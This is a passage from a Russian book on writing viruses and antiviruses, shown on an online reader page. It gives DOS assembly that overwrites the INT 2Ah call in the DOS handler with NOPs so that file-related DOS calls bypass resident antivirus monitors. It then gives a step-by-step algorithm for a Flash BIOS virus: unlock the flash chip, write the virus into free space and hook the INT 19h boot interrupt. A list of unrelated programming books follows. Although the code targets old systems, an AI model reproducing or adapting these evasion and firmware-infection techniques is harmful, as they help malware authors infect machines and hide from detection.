Читаем Создаем вирус и антивирус полностью

;Процедура установки адреса (один из самых коротких,

;хотя и подозрительных вариантов реализации)

SetAdr proc near

;Устанавливаем указатель на таблицу в регистре SI

mov si,offset Table

;Читаем очередное значение сегмента и смещения из таблицы

Next:

mov es,[si]

mov bx,[si+2]

;Проверяем контрольный код в слове, адрес которого получен

;из таблицы. Если результат отрицательный, переходим

;к следующему элементу таблицы

cmp es:[bx],2ACDh

jnz Skip

;Сохраняем адрес точки 2A

mov Ofs2A,bx

mov Seg2A,es

;Сохраняем адрес точки 2 из таблицы

mov ax, [si+4]

mov Seg21,ax

mov ax, [si+6]

mov Ofs21,ax

ret

Skip:

;Переходим к следующему элементу таблицы

add si,8

;Проверяем, не закончилась ли таблица. Если таблица закончилась,

;читаем адрес текущего обработчика прерывания

cmp [si], 0

jnz Next

;Читаем адреса текущего обработчика прерывания INT 21h – метод

;”предопределенных адресов” не сработал, точка входа не найдена

mov ax, 3521h

int 21h

mov Ofs21,bx

mov Seg21,es

ret

;Таблица позиций 2A и 2.

Table dw 0FF03h, 5333h,0FF03h, 420Ah

dw 0FDC8h, 41D1h,0FDC8h, 411Bh

...

dw 0

SetAdr endp

;Процедура прямого обращения к DOS

CallDOS proc near

;Если функция безопасна, вызываем прерывание обычным способом

cmp ah,3Bh

jb Trivial

cmp ah,42h

ja Trivial

;Заменяем вызов прерывания 2Аh на две команды NOP (9090h)

;в обработчике DOS, предварительно

;сохранив первоначальные значения кода

push es

push ax

push bx

mov es,cs:Ofs2A

mov bx,cs:Seg2A

mov ax,es:[bx]

mov cs:Save, ax

mov es:[bx], 9090h

pop bx

pop ax

pop es

;Вызываем напрямую прерывание DOS

pushf

call cs:dword ptr Ofs21

;Восстанавливаем вызов 2Аh

push es

push ax

push bx

mov es,cs:Ofs2A

mov bx,cs:Seg2A

mov ax,cs:Save

mov es:[bx], ax

pop bx

pop ax

pop es

ret

;Обычное обращение к DOS (используется для безопасных функций)

Trivial:

int 21h

ret

;В этом месте сохраняем значение для кода вызова INT 2Ah

Save dw ?

;Обработчик прерывания DOS

Ofs21 dw ?

Seg21 dw ?

;Адрес вызова INT 2Ah из обработчика DOS

Ofs2A dw ?

Seg2A dw ?

CallDOS endp

<p>Flash BIOS</p>

Новое место для вирусов

Flash-память – энергонезависимая память, которая обеспечивает работоспособность EPROM со встроенной электрической схемой стирания и перепрограммирования. Энергонезависимая память отличается от RAM тем, что она не обнуляется при отсутствии напряжения.

Flash BIOS – Flash-память, которая используется для хранения кода BIOS. Она может быть перепрограммирована – это предусмотрено для облегчения обновления BIOS. Такие микросхемы применяются в 90 % портативных компьютеров, в большинстве компьютеров 486DX2, 486DX4, Pentium.

Как известно, BIOS получает управление при запуске компьютера. Все что нужно сделать вирмейкеру – это незаметно модифицировать BIOS, чтобы вирус стартовал перед загрузкой системы компьютера.

AMI Flash вирус

Алгоритм работы вируса:

1. Проверить компьютер на наличие Flash BIOS;

2. Проверить Flash BIOS на зараженность (осуществить выход, если она заражена);

3. Считать вектор INT 19h из таблицы (прерывание загрузки);

4. Прочесть первые 5 байт от точки входа INT 19h;

5. Проверить BIOS на наличие свободного места для размещения вируса (поиск области нулей);

6. Установить память Flash BIOS в режим записи (обычно она находится в режиме «ReadOnly»);

7. Записать вирус в найденную область нулей;

8. Записать переход на вирус в точку входа INT 19h;

9. Восстановить режим «ReadOnly» для памяти Flash BIOS.

Единственное предназначение INT 19h – быть вызванным в процессе загрузки, чтобы загрузить boot-сектор в память и передать ему управление. Прерывание именно то, которое и требуется изменить.

Нужно иметь в виду, что одновременно читать из памяти Flash BIOS и записывать в нее нельзя. Поэтому во время работы вируса нельзя использовать временные переменные в этой памяти. Более целесообразным является создание вируса для обычного boot-сектора. Этот вирус следует поместить в конец памяти и оттуда устанавливать вектор INT 13h.

Перейти на страницу:

Похожие книги

Основы программирования в Linux
Основы программирования в Linux

В четвертом издании популярного руководства даны основы программирования в операционной системе Linux. Рассмотрены: использование библиотек C/C++ и стан­дартных средств разработки, организация системных вызовов, файловый ввод/вывод, взаимодействие процессов, программирование средствами командной оболочки, создание графических пользовательских интерфейсов с помощью инструментальных средств GTK+ или Qt, применение сокетов и др. Описана компиляция программ, их компоновка c библиотеками и работа с терминальным вводом/выводом. Даны приемы написания приложений в средах GNOME® и KDE®, хранения данных с использованием СУБД MySQL® и отладки программ. Книга хорошо структурирована, что делает обучение легким и быстрым. Для начинающих Linux-программистов

Нейл Мэтью , Ричард Стоунс , Татьяна Коротяева

ОС и Сети / Программирование / Книги по IT
97 этюдов для архитекторов программных систем
97 этюдов для архитекторов программных систем

Успешная карьера архитектора программного обеспечения требует хорошего владения как технической, так и деловой сторонами вопросов, связанных с проектированием архитектуры. В этой необычной книге ведущие архитекторы ПО со всего света обсуждают важные принципы разработки, выходящие далеко за пределы чисто технических вопросов.?Архитектор ПО выполняет роль посредника между командой разработчиков и бизнес-руководством компании, поэтому чтобы добиться успеха в этой профессии, необходимо не только овладеть различными технологиями, но и обеспечить работу над проектом в соответствии с бизнес-целями. В книге более 50 архитекторов рассказывают о том, что считают самым важным в своей работе, дают советы, как организовать общение с другими участниками проекта, как снизить сложность архитектуры, как оказывать поддержку разработчикам. Они щедро делятся множеством полезных идей и приемов, которые вынесли из своего многолетнего опыта. Авторы надеются, что книга станет источником вдохновения и руководством к действию для многих профессиональных программистов.

Билл де Ора , Майкл Хайгард , Нил Форд

Программирование, программы, базы данных / Базы данных / Программирование / Книги по IT
Программист-прагматик. Путь от подмастерья к мастеру
Программист-прагматик. Путь от подмастерья к мастеру

Находясь на переднем крае программирования, книга "Программист-прагматик. Путь от подмастерья к мастеру" абстрагируется от всевозрастающей специализации и технических тонкостей разработки программ на современном уровне, чтобы исследовать суть процесса – требования к работоспособной и поддерживаемой программе, приводящей пользователей в восторг. Книга охватывает различные темы – от личной ответственности и карьерного роста до архитектурных методик, придающих программам гибкость и простоту в адаптации и повторном использовании.Прочитав эту книгу, вы научитесь:Бороться с недостатками программного обеспечения;Избегать ловушек, связанных с дублированием знания;Создавать гибкие, динамичные и адаптируемые программы;Избегать программирования в расчете на совпадение;Защищать вашу программу при помощи контрактов, утверждений и исключений;Собирать реальные требования;Осуществлять безжалостное и эффективное тестирование;Приводить в восторг ваших пользователей;Формировать команды из программистов-прагматиков и с помощью автоматизации делать ваши разработки более точными.

А. Алексашин , Дэвид Томас , Эндрю Хант

Программирование / Книги по IT